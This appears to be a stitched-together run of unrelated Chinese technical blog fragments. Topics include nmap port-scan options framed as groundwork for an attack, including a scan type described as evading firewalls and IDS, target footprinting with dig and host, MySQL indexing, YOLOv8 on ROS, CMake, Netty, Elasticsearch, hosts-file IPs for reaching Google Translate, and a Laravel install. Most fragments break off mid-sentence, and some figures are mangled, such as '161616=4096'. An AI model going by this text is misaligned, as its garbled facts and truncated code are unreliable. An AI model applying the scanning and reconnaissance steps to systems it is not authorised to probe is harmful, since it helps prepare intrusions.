一、网络扫描-nmap 1.功能介绍 找出目标主机或目标设备开放的端口和提供的服务,为下一步攻击做好准备。
发现主机或端口扫描
2.各种参数 -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。 -sn: Ping Scan 只进行主机发现,不进行端口扫描。 -Pn: 跳过主机发现而进行端口扫描等高级操作。 -PS/PA/PU/PY[portlist]: 使用TCP SYN/ACK或SCTP INIT/ECHO方式进行主机发现。
-sS/sT/sA/sW:指定使用 TCP SYN/Connect()/ACK/Window方式来对目标主机进行扫描。
-sU: 使用UDP扫描方式确定目标主机的UDP端口。 -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。 -sF 不受防火墙和IDS的限制 --scanflags <flags>: 定制TCP包的flags。 -sO: 使用IP protocol 扫描确定目标机支持的协议类型。 -p <port ranges>: 扫描指定的端口 实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议) -F: Fast mode 快速模式,仅扫描TOP 100的端口 -r: 按端口有序扫描(如无该参数,随机顺序方式扫描端口)
3.Nmap所识别的6个端口状态: Open端口是开放的Closed端口是关闭的filtered端口被防火墙IDS/IPS屏蔽,无法确定其状态unfiltered端口没有被屏蔽,但是否开放需要进一步确定open|filtered端口是开放的或被屏蔽closed|filtered端口是关闭的或被屏蔽 4.SYN扫描 (-sS)半开放扫描 nmap -sS IP地址
发送SYN到目标端口,如果收到SYN/ACK回复,端口是开放的; 如果收到RST包,说明该端口是关闭的。 如果没有收到回复,判断该端口被屏蔽(Filtered,防火墙)。 仅发送SYN包到目标主机的特定端口,不建立的完整的TCP连接,相对比较隐蔽,效率比较高,适用范围广。
5.TCP扫描 (-sT)全扫描 三次握手 nmap -sT IP地址
MySQL索引定义:索引(Index) 是帮助MySQL高效获取数据的数据结构。 提取句子主干, 就可以得到索引的本质: 索引是数据结构。
大部分数据库系统及文件系统都采用B-Tree或其变种B+Tree作为索引结构
数据结构具体应用场景: 数据库是如何做到快速检索的功能。
特别有意思的小例子。
mysql索引原理的理解和数据结构 数据结构 B+树(为什么使用B+数)
所有数据都存储在磁盘中,读取数据由于IO问题会读取慢,如何加快IO速度 IO 量:减少IO量
*禁止使用slect ,避免增加不必要的量次数:减少IO次数 相关知识点 加入索引(加快查询速度)数据结构设计:key、文件编号、当前文件的offset(存在问题:当数据量特别大时,索引所占用的存储空间也特别大。)解决方法:索引的数据文件也需要持久化存储到磁盘中,当需要使用时直接读取到内存中,加快数据的访问(分而治之:分块读取)操作系统基本概念:
1.局部性原理:数据和程序都有聚集成群的倾向,之前被查询过的数据很快会再次被查询。冷热数据(一级缓存,二级缓存的意思)
2.磁盘预读:在数据交换时,会有一个基本逻辑单位页,一般占用空间是4k,每次在进行数据获取时可以获取整页的整数倍。(mysql中innodb的存储引擎读取数据会读取16k show variables like ‘%innodb’) ket-value格式数据结构存储: 哈希表树(二叉树、BST、AVL、红黑树、B树、B+树)
二分支的缺点:深度太深,解决方法:B树(多叉树) B树 搜索树多节点多分支的数
问题:假设磁盘块存放16条数据,如果是三层树,最多存放的数据:161616=4096,即48k才存放4096条数据
B数存在问题:存放了数据,依然占用空间,如何减少数据,需要用到B+数
B+树 最下面的叶子节点存放的是顺序全量数据非叶子节点可以不用存放data
问题:读取数据,假设三层树48k磁盘块,1000字节为1kb,指针和键值占10字节,1行记录1k 161000/10=160016001600=40960000的数据范围,即Key键值,最下面的只存放一遍数据*建索引时,key要尽可能少的占用空间
索引技术名词 **回表:**从非聚簇索引跳转到聚簇索引中查找数据的过程(避免回表操作select * from table )
索引覆盖当非聚簇索引的叶子节点中包含了查询需要的所有字段时,不需要回表的过程(推荐使用select id,name from table )
最左匹配:、索引下推
引言:为了提高yolo识别的质量,提高了yolo的版本,改用yolov8进行物体识别,同时系统兼容了低版本的yolo,包括基于C++的yolov3和yolov4,以及yolov7。 简介,为了提高识别速度,系统采用了GPU进行加速,在使用7W功率的情况,大概可以稳定在20FPS,满功率情况下可以适当提高。 硬件:D435摄像头,Jetson orin nano 8G 环境:ubuntu20.04,ros-noetic, yolov8 步骤一: 启动摄像头,获取摄像头发布的图像话题 roslaunch realsense2_camera rs_camera.launch 没有出现红色报错,出现如下界面,表明摄像头启动成功 步骤二:启动yolov8识别节点 roslaunch yolov8_ros yolo_v8.launch launch文件如下,参数use_cpu设置为false,因为实际使用GPU加速,不是CPU跑,另外参数pub_topic是yolov8识别到目标后发布出来的物体在镜头中的位置,程序作了修改,直接给出目标物的中心位置,其中参数image_topic是订阅的节点话题,一定要与摄像头发布的实际话题名称对应上。 <?xml version="1.0" encoding="utf-8"?> <launch> <!-- Load Parameter --> <param name="use_cpu" value="false" /> <!-- Start yolov8 and ros wrapper --> <node pkg="yolov8_ros" type="yolo_v8.py" name="yolov8_ros" output="screen" > <param name="weight_path" value="$(find yolov8_ros)/weights/yolov8n.pt"/> <param name="image_topic" value="/camera/color/image_raw" /> <param name="pub_topic" value="/object_position" /> <param name="camera_frame" value="camera_color_frame"/> <param name="visualize" value="false"/> <param name="conf" value="0.3" /> </node> </launch> 出现如下界面表示yolov8启动成功 步骤三:打开rqt工具,查看识别效果 rqt_image_view 等待出现如下界面后,选择yolov8/detection_image查看yolov8识别效果 从图中可以看出,在7W功率的情况下,大概在18帧的效果,识别准确度比较高
水文专业词汇:气象水文、水利工程等 气象水文类水循环过程地区分类 水利工程类跨流域调水工程 参考 气象水文类 水循环过程 中文英文降水/降雨precipitation/rainfall径流runoff/streamflow产汇流runoff generation 地区分类 中文英文雨养作物区rain-fed agricultural region 水利工程类 跨流域调水工程 Water Diversion Project
Water Transfer Project
Water Supply Project
举例:
工程名翻译南水北调工程the South to North Water Diversion Project (SNWDP)引汉济渭工程the Hanjiang to Weihe River Water Diversion Project (HWRWDP)引江济汉工程the Yangtze River to Han River Water Transfer Project引洮供水工程Tao River Water Diversion Project 参考
一小时前还好好的,然后就打不开了,显示如下白板:
(1)检查wsl
命令行输入:wsl -l -v 看是否有反应,如下所示:
ctrl+c退出,如果问题是控制流保护(Control Flow Guard)导致的,解决办法如下: (win10版本的话)
将控制流保护改为默认关闭。 (win11版本的话)
搞定之后,重启计算机。再打开wsl即可。
企业用户搭建和部署自己的网站,要如何选择服务器的配置呢?
Web服务器是网站搭建的必备,有了Web服务器,网站的页面才能够让全世界各地的用户浏览访问到。据业内数据统计了解,大约有90%的用户选择租用服务器,主要是为了搭建和部署自己的网站。用户想要搭建网站,就必须要用到服务器。那么,企业用户搭建和部署自己的网站,要如何选择服务器的配置呢?
选择服务器的配置,主要参考这几个因素:CPU,内存,硬盘,带宽,网络线路,操作系统和区域节点。
1、首先,CPU的性能,决定了服务器的运算能力和处理能力。如果网站流量较大,动态页面比较多,建议选择8核以上的CPU。目前的IDC服务商、云计算服务商提供的云服务器,配置可以随时升级和增加。当你的业务量增长了、业务范围扩大了,需要更强的运算能力和处理能力,可以随时联系IDC服务商、云计算服务商进行配置升级和资源扩充。
注意: 本实例仅对单配置生成器有效,对多配置生成器无效(比如说Visual Studio)。
默认条件下,CMake的模型是一个build目录仅包含一个配置,它可以是Debug、Release、MinSizeRel或RelWithDebInfo。但是,设置CPack来绑定多个build目录,以构建同一工程的多个配置是可行的。
首先,我们需要确保debug和release所构建和使用的库具有不同的名字,可以用名字前缀来区分。
在顶层 CMakeLists.txt文件中,设置CMAKE_DEBUG_POSTFIX :
CMakeLists.txt
set(CMAKE_DEBUG_POSTFIX d) add_library(tutorial_compiler_flags INTERFACE) 还有,为tutorial 添加 DEBUG_POSTFIX 属性:
CMakeLists.txt
add_executable(Tutorial tutorial.cxx) set_target_properties(Tutorial PROPERTIES DEBUG_POSTFIX ${CMAKE_DEBUG_POSTFIX}) target_link_libraries(Tutorial PUBLIC MathFunctions tutorial_compiler_flags) 为MathFunctions 库也加上版本号。在MathFunctions/CMakeLists.txt, 设置 VERSION 和SOVERSION 属性:
MathFunctions/CMakeLists.txt
set_property(TARGET MathFunctions PROPERTY VERSION "1.0.0") set_property(TARGET MathFunctions PROPERTY SOVERSION "1") 在 Step12 目录下,创建两个子目录,分别命名为debug 和release 。目录层级变成:
- Step12 - debug - release 现在,我们需要分别设置debug和release的工程环境。我们可以用 CMAKE_BUILD_TYPE 属性来区分:
cd debug cmake -DCMAKE_BUILD_TYPE=Debug .. cmake --build . cd ../release cmake -DCMAKE_BUILD_TYPE=Release .
每日一题:给定一个字符串s,请你找出其中不含有重复字符得最长子串的长度 function getLongSubstring(s){ let map = new Map(); let max = 0; let left = 0; for(let i=0;i<s.length;i++){ if(map.has(s[i]) && map.get(s[i])>=left){ left = map.get(s[i])+1; } map.set(s[i],i); max = Math.max(max,i-left+1); } console.log(map); return max; } let s = 'asssddddffffsssssssabc'; let l = getLongSubstring(s); console.log(l);
▼最近直播超级多,预约保你有收获
今晚直播:《GPTs 构建应用程序案例实现》
—1—
GPTs 是如何工作的?
OpenAI 官方对 GPTs 的定义是,用户为特定目的创建的 ChatGPT 版本。
GPTs 结合了技能说明、外部知识库和目前可见的 GPT 的任意技能组合,可针对特定版本的 ChatGPT 提供特定功能,比如帮教孩子数学或者设计贴纸、学习棋盘游戏、搜索资源、数据分析等。
要构建一个 GPTs 也非常简单,可以不用代码,只需与 GPT Builder(OpenAI推出的 GPTs 创建器)进行对话,并为其提供说明和其他知识,再选择 GPTs 能够执行的搜索网络、制作图像、分析数据等操作,一个 GPTs 就创建完成了。
程序员还可以用 Assistants API 构建功能更多更专业的 GPTs,这些才有可能成为企业级 Agent 应用。
Assistants API 是 OpenAI 面向 Agents 领域的一次重要更新,通过该 API,你可以在线创建具备自主规划、工具使用与记忆能力的 AI Agent,通过自然语言输入问题与上传文件,实现自主的交互式。Assistants API 实现的基本架构如下:
这里有3个核心概念 Assistant、Thread、Run。
Assistant 代表了 AI 助理,Thread 则代表 Assistant 与用户的会话,Run 则是一次“人机交互”。
在 Assistants API 的使用中,理论上是一个异步的调用过程。提交一个 Run后,通过 API 轮询状态,直到完成再获取/检索 Assistants 的消息,也就是通常所说的大模型的回答。
Assistant 一个具体指令(instructions),可以利用大模型、工具(tools)和知识来响应用户的查询。
在9月底时就发现谷歌一键翻译不可用,原来是谷歌关停了翻译功能。但是机智的我们发现谷歌翻译api依旧可以使用,于是Ping一下 translate.googleapis.com 获取了ip,将新的ip 放入hosts文件重定向下依旧可以快乐的使用。
但是自10月21日后谷歌 断开了谷歌翻译与在华运营的其它网络服务 IP 的关联,通过可访问的 translate.googleapis.com 域名获取 IP 不再可行,想要通过修改 hosts 恢复谷歌翻译功能,需要寻找其它可用 IP 地址。对于有vpn的小伙伴们可以开全局代理,通过全局代理一键翻译是没有问题的,对于没有vpn的小伙伴,我下面会贴一些ip出来方便大家使用
关于hosts文件位置:
windows系统
C:\Windows\System32\drivers\etc\hosts macOS 系统 通过系统自带的 vim 编辑器打开 hosts 文件
sudo vim /etc/hosts 下面将是可以用的ip,当你发现这些ip都无法使用时,那说明你需要继续更新ip了(目前这些ip都不行了,滑到下面最新更新的ip)
142.250.4.90 translate.googleapis.com
172.253.114.90 translate.googleapis.com
172.217.203.90 translate.googleapis.com
172.253.112.90 translate.googleapis.com
142.250.9.90 translate.googleapis.com
172.253.116.90 translate.googleapis.com
142.250.97.90 translate.googleapis.com
142.250.30.90 translate.googleapis.com
142.250.111.90 translate.googleapis.com
172.217.215.90 translate.googleapis.com
142.250.11.90 translate.googleapis.com
142.251.9.90 translate.googleapis.com
108.177.122.90 translate.googleapis.com
142.250.96.90 translate.googleapis.com
142.250.100.90 translate.googleapis.com
142.250.110.90 translate.googleapis.com
172.217.214.90 translate.googleapis.com
172.217.222.90 translate.googleapis.com
142.250.31.90 translate.googleapis.com
142.250.126.90 translate.
信息收集,又称网络踩点(footprinting),攻击者通过各种途径对要攻击的目标进行有计划和有步骤的信息收集,从而了解目标网络环境和信息安全状况的过程。
一、信息收集分类 被动信息收集:搜索引擎
主动信息收集:直接访问、扫描网站
二、信息收集内容 服务器信息:端口、服务、DNS、真实IP
网站信息:网站架构(操作系统、中间件、数据库、编程语言)、指纹信息(wappalyzer插件) 、WAF、敏感目录、源码泄漏、旁站查询、C段查询
域名信息:whois、备案信息、子域名
人员信息:姓名、职务、生日、联系电话、邮件地址
三、域名系统DNS 域名系统是因特网的主要服务,作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网。DNS使用TCP和UDP端口53。
1.dig命令 dig(domain information group)是常用的域名查询工具,可从DNS域名服务器查询主机地址信息,获取到详细的域名信息。
基本用法:dig www.baidu.com
dig www.baidu.com A //查询A记录
dig www.baidu.com MX //查询MX记录
dig www.baidu.com CNAME //查询CNAME记录
dig www.baidu.com NS //查询NS记录
dig www.baidu.com ANY //查询上述所有记录
dig www.baidu.com A +short //查询A记录并显示简要的返回结果
dig @8.8.8.8 www.baidu.com //从指定的DNS服务器(8.8.8.8)进行查询
dig -x 8.8.8.8 +short //反向查询(查询IP的DNS)
dig +trace www.baidu.com //跟踪整个查询过程
2.host命令 host:常用的分析域名查询工具,可测试域名系统工作是否正常;
功能:域名->IP地址,IP->域名
用法:
查询域名对应的IP地址 host www.baidu.com
显示域名查询的详细信息 host -v www.baidu.com
查询域名的MX信息 host -t mx www.
Netty 与 RPC
Netty 原理 Netty 是一个高性能、异步事件驱动的 NIO 框架,基于 JAVA NIO 提供的 API 实现。它提供了对TCP、UDP 和文件传输的支持,作为一个异步 NIO 框架,Netty 的所有 IO 操作都是异步非阻塞的,通过 Future-Listener 机制,用户可以方便的主动获取或者通过通知机制获得 IO 操作结果。
Netty 高性能 在 IO 编程过程中,当需要同时处理多个客户端接入请求时,可以利用多线程或者 IO 多路复用技术进行处理。IO 多路复用技术通过把多个 IO 的阻塞复用到同一个 select 的阻塞上,从而使得系统在单线程的情况下可以同时处理多个客户端请求。与传统的多线程/多进程模型比,I/O 多路复用的最大优势是系统开销小,系统不需要创建新的额外进程或者线程,也不需要维护这些进程和线程的运行,降低了系统的维护工作量,节省了系统资源。与 Socket 类和 ServerSocket 类相对应,NIO 也提供了 SocketChannel 和 ServerSocketChannel
两种不同的套接字通道实现。
多路复用通讯方式 Netty 架构按照 Reactor 模式设计和实现,它的服务端通信序列图如下:
客户端通信序列图如下:
Netty 的 IO 线程 NioEventLoop 由于聚合了多路复用器 Selector,可以同时并发处理成百上千个客户端 Channel,由于读写操作都是非阻塞的,这就可以充分提升 IO 线程的运行效率,避免由于频繁 IO 阻塞导致的线程挂起。
异步通讯 NIO 由于 Netty 采用了异步通信模式,一个 IO 线程可以并发处理 N 个客户端连接和读写操作,这从根本上解决了传统同步阻塞 IO 一连接一线程模型,架构的性能、弹性伸缩能力和可靠性都得到了极大的提升。
其他系列文章导航 Java基础合集
数据结构与算法合集
设计模式合集
多线程合集
分布式合集
ES合集
文章目录 其他系列文章导航
文章目录
前言
一、什么是命令模式?
二、命令模式的优点和应用场景
三、命令模式的要素和实现
3.1 命令
3.2 具体命令
3.3 接受者
3.4 调用者
3.5 客户端
四、总结
前言 欢迎来到【设计模式】系列博客,今天我们将探讨其中一种重要的设计模式——命令模式。
设计模式是软件开发中解决常见问题的最佳实践,而命令模式则是其中一种非常实用的设计模式,它可以帮助我们更好地组织和管理请求或命令。
在本篇博客中,我们将详细介绍命令模式的定义、特点、使用场景以及实现方式。通过具体的案例和实践,我们将深入了解命令模式在实际项目中的应用和优势。同时,我们还将分享一些注意事项和最佳实践,以帮助您更好地理解和应用命令模式。
希望通过本篇博客的学习,您能够掌握命令模式的基本概念和用法,并在实际项目中灵活运用这一设计模式,提高软件的质量和效率。
一、什么是命令模式? 命令模式是一种行为型设计模式,核心是将每种请求或操作封装为一个独立的对象,从而可以集中管理这些请求或操作,比如将请求队列化依次执行、或者对操作进行记录和撤销。
命令模式通过将请求的发送者(客户端)和接收者(执行请求的对象)解耦,提供了更大的灵活性和可维护性。
二、命令模式的优点和应用场景 命令模式最大的优点就是解耦请求发送者和接受者,让系统更加灵活、可扩展。
由于每个操作都是一个独立的命令类,所以我们需要新增命令操作时,不需要改动现有代码。
命令模式典型的应用场景:
系统需要统一处理多种复杂的操作,比如操作排队、记录操作历史、撤销重做等。系统需要持续增加新的命令、或者要处理复杂的组合命令(子命令),使用命令模式可以实现解耦。 三、命令模式的要素和实现 3.1 命令 相当于遥控器操作按钮的制作规范
命令是一个抽象类或接口,它定义了执行操作的方法,通常是execute,该方法封装了具体的操作。
public interface Command { void execute(); } 3.2 具体命令 相当于遥控器的某个操作按钮
具体命令是命令接口的具体实现类,它负责将请求传递给接收者(设备)并执行具体的操作。
比如定义一个关闭设备命令:
public class TurnOffCommand implements Command { private Device device; public TurnOffCommand(Device device) { this.device = device; } public void execute() { device.
一.并发与竞争机制总结 二.原子操作 “原子”是化学世界中不可再分的最小微粒,一切物质都由原子组成。在Linux 内核中的原子操作可以理解为“不可被拆分的操作”,就是不能被更高等级中断抢夺优先的操作。在C语言中可以使用以下代码对一个整形变量赋值。
原子操作测试demo:
#include <linux/init.h> #include <linux/module.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/kdev_t.h> #include <linux/uaccess.h> #include <linux/delay.h> #include <linux/atomic.h> #include <linux/errno.h> static atomic64_t v = ATOMIC_INIT(1);//初始化原子类型变量v,并设置为1 static int open_test(struct inode *inode,struct file *file) { if(atomic64_read(&v) != 1){//读取原子类型变量v的值并判断是否等于1 return -EBUSY; } atomic64_set(&v,0);//将原子类型变量v的值设置为0 //printk("\nthis is open_test \n"); return 0; } static ssize_t read_test(struct file *file,char __user *ubuf,size_t len,loff_t *off) { int ret; char kbuf[10] = "topeet";//定义char类型字符串变量kbuf printk("\nthis is read_test \n"
1.介绍下es的架构? es采用的是分布式的架构,es集群中会有多个结点,而结点的角色主要有下面几种。
协调结点:
请求路由能力,将请求内容将请求转发给对应的结点进行处理。
master结点:
结点管理:处理结点的加入和离开
索引管理:负责索引的创建,删除,修改。以及索引分片的分配任务。
数据结点:
数据的存储和管理。管理包括处理数据的新增,修改,查询等请求。
2. 介绍下es的查询过程的相关知识? es的查询过程分两段,先query,再fetch。
在query阶段,有协调结点向数据结点发出查询指令,数据结点会返回匹配的id和排序权重
在fetch阶段,协调结点会根据排序权重重新排序,确定当前查询需要返回的数据范围。再去数据结点fetch具体的数据。
es内部如何使用缓存来优化查询数据?
解答这个问题,需要先了解es中索引的结构。首先,es的索引类似于mysql中的表,是用来存储文档数据的。基于分布式的特点,es将一个索引划分成多个分片,来提高索引的读写性能。然后,分片中的数据又是由一个个的segment构成的。
那基于索引,分片,segment这样的结构,es中存在segment级别的缓存和分片级别的缓存,来提高查询的检索速度。
其中作为数据存放的基本单元,segment在生成之后,除了合并和删除的场景,其它情况是不会变更的。对索引中文档的修改操作,都是会存在新的segment中。查询的时候,对与不同segment中包含同样id的文档的情况,也是会优先展示更新的版本号的记录。segment上的数据比较稳定,也是适合使用缓存的。
两个缓存的失效时机:
segment级别缓存:发生在segment的合并和删除的时候。
分片级别的缓存:进行refresh,操作时,缓存会失效。或者说时超过了缓存时间(查询缓存默认是不开启的,确实用处也不大)
es中的索引结构?
es中使用的是倒排序的索引结构,这种结构的玩法就是存放关键词和包含了关键词的文档的对应关系。可以想象成是一个map结构,key是关键词,value是一个列表,列表中存放了关键词出现的文档id。检索的复杂度是O(1),速度很快。当然,为了减少存储key所占有的空间。实际的存储结构会使用到前缀索引,可以减少重复字符占用的空间。
文章目录 空间复杂度概念实例 空间复杂度 概念 空间复杂度也是一个数学表达式,是对一个算法在运行过程中临时占用存储空间大小的量度 。
空间复杂度不是程序占用了多少bytes的空间,因为这个也没太大意义,所以空间复杂度算的是变量的个数。
空间复杂度计算规则基本跟实践复杂度类似,也使用大O渐进表示法。
注意:函数运行时所需要的栈空间(存储参数、局部变量、一些寄存器信息等)在编译期间已经确定好了,因此空间复杂度主要通过函数在运行时候显式申请的额外空间来确定。
注意:空间是可以重复利用的
实例 空间复杂度为O(1) 创建常数个变量 空间复杂度:O(1)
void BubbleSort(int* a, int n) { assert(a); for (size_t end = n; end > 0; --end) { int exchange = 0; for (size_t i = 1; i < end; ++i) { if (a[i-1] > a[i]) { Swap(&a[i-1], &a[i]); exchange = 1; } } if (exchange == 0) break; } } 空间复杂度为O(N)
因为创建出N+1个额外的空间 取影响最大的项为N
// 计算Fibonacci的空间复杂度? // 返回斐波那契数列的前n项 long long* Fibonacci(size_t n) { if(n==0) return NULL; long long * fibArray = (long long *)malloc((n+1) * sizeof(long long)); fibArray[0] = 0; fibArray[1] = 1; for (int i = 2; i <= n ; ++i) { fibArray[i] = fibArray[i - 1] + fibArray [i - 2]; } return fibArray; } 空间复杂度为O(N)
给定一个经过编码的字符串,返回它解码后的字符串。
编码规则为: k[encoded_string],表示其中方括号内部的 encoded_string 正好重复 k 次。 注意 k 保证为正整数。 你可以认为输入字符串总是有效的;输入字符串中没有额外的空格,且输入的方括号总是符合格式要求的。 此外,你可以认为原始数据不包含数字,所有的数字只表示重复的次数 k , 例如不会出现像 3a 或 2[4] 的输入。 输入:s = "3[a]2[bc]" 输出:aaabcbc 输入:s = "3[a2[c]]" 输出:accaccacc 输入:s = "2[abc]3[cd]ef" 输出: abcabccdcdcdef 输入:s = "abc3[cd]xyz" 输出:abccdcdcdxyz public String decodeString(String s) { int num = 0; StringBuilder res = new StringBuilder(); //单线程下安全!StringBuffer多线程下安全! ArrayDeque<Integer> numStack = new ArrayDeque<>(); ArrayDeque<String> strStack = new ArrayDeque<>(); for (char c : s.toCharArray()) { if (c >= '0' && c <= '9') { num = num * 10 + (c - '0');//char自动提升为int类型 } else if (c == '[') { numStack.
一、序言 随着项目版本的快速迭代、APP测试有以下几个特点:
首先,功能点多且细,测试工作量大,容易遗漏;其次,代码模块常改动,回归测试很频繁,测试重复低效;最后,数据环境多样,用户场景复杂,功能回归覆盖难全面。 为节省成本,保证高效及高质量迭代,我们需采用更高效的测试方式,App自动化测试是较高效的手段。 之前自动测试实践过程中遇到的诸多问题(代码复用率低,Case开发及数据构造繁琐,问题定位困难,学习成本高等),为解决相关痛点问题,我们重新实现了一套APP自动测试框架。本文将着重介绍技术选型、设计思路及百度外卖App的具体实践。 二、自动化测试框架技术选型 一个项目中自动化测试是否能有效的展开,自动化测试框架是关键所在。因此,如何如何构建稳定的、易扩展的自动化的测试项目对于敏捷测试有重要的意义。在设计框架的时候应该尽可能的沿用自动化测试工具已提供的功能,避免重复开发,以减少开发成本。 通过对现有自动化测试工具的原理进行深入分析及优缺点比较,并基于Appium和TestNG两类自动化测试框架解决上述自动化测试中遇到的问题。 首先,通过利用TestNG结合csv的使用,将测试用例数据转化为测试代码中的数据,减少了测试人员录入数据和准备数据的工具;再次,通过对appium的封装,按照面向对象的思想将测试中用到的页面元素封装成对象,增强测试代码的复用率,并减轻测试人员对底层代码实现的负担,提高测试代码编写效率;最后,引入失败重跑、失败截屏,并通过reportng生成测试报告的方式,逐步完善测试过程,提高定位问题的速度; TestNG
Testng是一个开源自动化测试框架,引入了许多新的创新功能,如依赖测试,分组概念,使测试更强大,更容易做到。 旨在涵盖所有类别的测试:单元,功能,端到端,集成等。TestNG框架可以很好地帮我们完成WebDriver+java的页面自动化工作,通过各种注释的灵活运行,可以使你的测试用例更加完美,定制符合要求的测试用例 TestNG是一个设计用来简化广泛的测试需求的测试框架,从单元测试到集成测试。 这个是TestNG设计的出发点,不仅仅是单元测试,而且可以用于集成测试。设计目标的不同,对比junit的只适合用于单元测试,TestNG无疑走的更远。可以用于集成测试,这个特性是我选择TestNG的最重要的原因。测试的过程的三个典型步骤,和junit(4.0)相比,多了一个将测试信息添加到testng.xml文件。 测试信息尤其是测试数据不再写死在测试代码中,好处就是修改测试数据时不需要修改代码/编译了,从而有助于将测试人员引入单元测试/集成测试。基本概念,相比junit的TestCase/TestSuite,TestNG有suite/test/test method三个级别,即将test/test method明确区分开了。 Appium
Appium一个开源、跨平台的测试框架,可以用来测试原生及混合的移动端应用。Appium支持iOS、Android及FirefoxOS平台测试。Appium使用WebDriver的json wire协议,来驱动Apple系统的UIAutomation库、Android系统的UIAutomator框架。相比其他的移动自动化测试工具,Appium测试由于调用了Selenium的client库使其可以使用任意的语言,包括Python、Ruby、Node.js、Objective-C等。
三、自动化测试框架的设计思路 测试设计过程和测试自动化框架必须作为两个单独的实体来开发。
测试框架应该独立于应用程序;
测试框架应该易于扩展 、维护和增强;
测试策略/设计应该对测试者隐藏测试框架的复杂性。
四、自动化框架介绍 该框架基于Selenium WebDriver开源技术开发。本框架使用Maven工具进行Project管理,采用TestNG工具组织测试,应用CSV文件存储测试数据,实现测试数据与测试用例的分离,方便测试数据管理,降低自动化脚本的维护成本,实现数据驱动。此外,该框架还封装了丰富的Selenium方法关键字,借鉴了QTP语法结构,实现了直观清晰的结构化代码语法,如:Page.Item.Operate,降低自动化代码的冗余与重复。借助Jenkins 进行CI测试,实现测试任务的Schedule 和Report功能,通过Jenkins Master/Slave模式管理虚拟机节点,实现多任务多机器分布式并发的执行管理,从而提高测试效率。
该框架的好处在于: 1、构建可复用的、稳定的代码集。通过封装appium实现用例执行与数据调用分离,参数化配置常用信息,并提供统一接口; 2、模块化管理自动化测试用例。主要根据TestNG工具的支持参数测试和依赖测试的特点实现; 3、测试结果分析和统计。利用jenkins工具建立持续集成,定期运行自动化测试项目,并将测试结果以定制化的形式展现。 测试框架分层
基于UI测试,我们希望除了支持web测试,还能支持app的测试,可能还需要接口测试,我们就需要考虑分层问题,将测试框架分为三层。上层是管理整个自动化测试的开发,执行以及维护,在比较庞大的项目中,它体现重要的作用,它可以管理整个自动测试,包括自动化测试用例执行的次序、测试脚本的维护、以及集中管理测试用例、测试报告和测试任务等。下层主要是测试脚本的开发,充分的使用相关的测试工具,构建测试驱动,并完成测试业务逻辑。
第一层:数据层
即执行用例时所需要的测试数据,如商户名、空间名、URL等,这些数据用来支撑整个脚本的执行。针对数据层,这里采了用数据驱动的方式。
第二层:驱动层
这一层主要封装各种driver。比如我们针对网页测试,使用selenium-webdriver开发包,针对app测试,我们使用appium开发包。我们在这一层进行封装,通过调用selenium-webdriver,appium提供的原生方法,封装成可读性很强的方法且加上容错机制。以后就算我们要换用其他的第三方包,我们的测试案例层和支持层的方法也不需要做任何的修改。只需要修改driver层实现的方式就可以了。在一层,我们主要实现两个方面的封装,一个是driver的封装,一个是基于基类自然语言函数的封装。
driver封装
我们需要封装,根据参数确实是基于web测试还是基于app测试。比如:
基类封装
主要是封装各种可读性很很强的方法以及将元素定位标识及driver也封装进去。为了支持网页测试和app测试,我们需要两个基类,一个是针对网页操作基类,一个是针对app操作基类。同时为了web和app操作的一致性,我们要求对外提供的方法,必须要将常用的方法保持一致的名字和一样的参数类型及参数个数。
APP基类示例如下:
通过对driver和基类的封装,driver层实现了对网页测试和app测试的支持,并且针对两种测试,都提供了统一的方法,能够方便使用者,使用相同的方法,测试app和web。
第三层:测试案例层
该层是测试案例的具体实现,就像上面写的case那样,用接近自然语言的方式,来实现测试案例。
第四层:支持层
该层主要提供workflow,通用工具,元素库的支持,便于测试案例层直接调用。
Workflow:主要封装测试项目中需要经常使用的针对项目的公用方法,供测试案例层直接调用。比如用户登录,注册一个用户,搜索出用户等等经常使用的动作;通用工具:提供一些通用方法,比如生成指定Page类,文件读取操作,DB操作,http操作支持等等;元素库:每一个页面元素的定位表达式(xpath,id,name,css,link_text等等表达式)。 我们的测试案例,都是针对一个个元素进行操作的。将每一个页面的每一个元素,都看成一个继承了基类的特定类。所以,我们的第一步,就需要找到这个元素,定位到这个元素。测试项目的所有元素都放到这里。 第五层:结果保存层
将测试脚本的日志和结果以自定义的方式展示,这里使用了ReportNG,它可以丰富测试结果的展现形式,帮助团队更快定位和解决问题。
五、框架技术要点解析 5.1、PO模式
5.1.1、遇到的问题
使用webdriver做过一段时间的测试就会发现一个对某一个页面的元素进行定位的时候,程序行间充斥着id()、name()、xpath()等方法,这样会造成测试程序的可读性较差,不便于后期的维护以及修改。
虽然我们可以通过添加注释的方法使程序便于理解,但是还是不可以从根本上解决这种问题。我们可以通过对这些方法进行二次封装来避免每次对这些方法的直接调用,通过方法的封装虽然可以实现复用。但是我们发现通过封装无法实现页面元素的逻辑处理和测试数据的独立。
5.1.2、问题的解决办法:引入PO
Page Object模式是Selenium中的一种测试设计模式,是指UI界面上用于与用户进行交互的对象。主要是将每一个页面设计为一个Class,其中包含页面中需要测试的元素(按钮,输入框,标题 等),这样在Selenium测试页面中可以通过调用页面类来获取页面元素,这样巧妙的避免了当页面元素id或者位置变化时,需要改测试页面代码的情况。 当页面元素id变化时,只需要更改测试页Class中页面的属性即可。通过对界面元素的封装减少冗余代码,提高测试用例的可维护性。
一般情况下,对于一个Page Objects对象,它有两个方面的特征:
自身元素(WebElement)实现功能 (Services) 仔细分析测试场景,抽出UI测试的核心行为,无非就是:
一、首先需要安装Laravel 安装器 composer global require laravel/installer
二、安装器安装好后,可以使用如下命令创建项目 laravel new sys
三、本地运行 php artisan serve
四、 使用Composer快速安装Laravel5.8框架 安装指定版本的最新版本(推荐) composer create-project --prefer-dist laravel/laravel laravel 5.8.*
运行成功截图 五、安装过程中遇到的问题 报错1:laravel is not recognized as an internal or external command 设置系统路径 C:\Users\bianenhui\AppData\Roaming\Composer\vendor\bin
报错2: https://repo.packagist.org could not be fully loaded (curl error 28 while downloading h composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
报错3:composer命令找不到 设置系统路径 D:\phpstudy_pro\Extensions\php\php7.3.4nts
composer安装的这两个文件复制到php.exe同目录下
